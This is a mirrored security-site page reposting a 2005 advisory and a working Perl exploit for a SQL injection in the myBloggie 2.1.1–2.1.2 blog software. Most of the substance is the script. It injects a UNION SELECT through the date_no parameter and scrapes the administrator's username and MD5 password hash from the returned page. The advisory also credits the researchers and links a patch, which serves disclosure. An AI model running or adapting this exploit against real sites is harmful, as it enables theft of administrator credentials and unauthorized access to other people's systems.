首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
myBloggie SQL Injection
来源:www.codebug.org 作者:Alberto 发布时间:2005-06-03  

myBloggie SQL Injection (Exploit)

Summary
myBloggie is "considered one of the most simple, user-friendliest yet packed with features Weblog system available to date. Built using PHP and mySQL, web most popular scripting language and database system enable myBloggie to be installed in any web servers".

The following exploit will try to retrieve password HASH used by administrator of the myBloggie product.

Credit:
The information has been provided by Alberto Trivero.
The original article can be found at: http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
The original article can be found at: http://www.codebug.org/index.php?subaction=showfull&id=1115310052&ucat=6&

Details
Vulnerable Systems:
* myBloggie version 2.1.1
* myBloggie version 2.1.2

#!/usr/bin/perl -w
#
# SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
# This exploit show the username of the administrator of the blog and his password crypted in MD5
# Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=1115310052&ucat=6&
# Patch: http://mywebland.com/forums/viewtopic.php?t=180
# Coded by Alberto Trivero and Discovered with CorryL

use LWP::Simple;

print "\n\t =\n";
print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t =\n\n";

if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) {
print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
exit(0);
}

$url=q[index.php?month_no=1&year=1&mode=viewdate&". "date_no=1%20UNION%20SELECT%20null,null,null,null,user". ",password,null,null,null,null%20FROM%20blog_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
if($ARGV[1] eq '2.1.1') {
$page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
}
else {
$page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
}
$page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MyBulletinBoard(MyBB) SQL Inje
·e-Post SPA-PRO Mail Service Bu
·IBM AIX invscout Local Exploit
·ePSXe Local Stack Overflow
·phpStat Authentication Bypass
·CrobFTP Remote Stack Overflow
·Ethereal <= 0.10.10 SIP Pro
·FutureSoft TFTP Server 2000 Bu
·Microsoft Windows COM Structur
·Invision Power Board SQL Injec
·Zeroboard 4.x preg_replace Rem
·Kaspersky AntiVirus 5.x klif.s
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved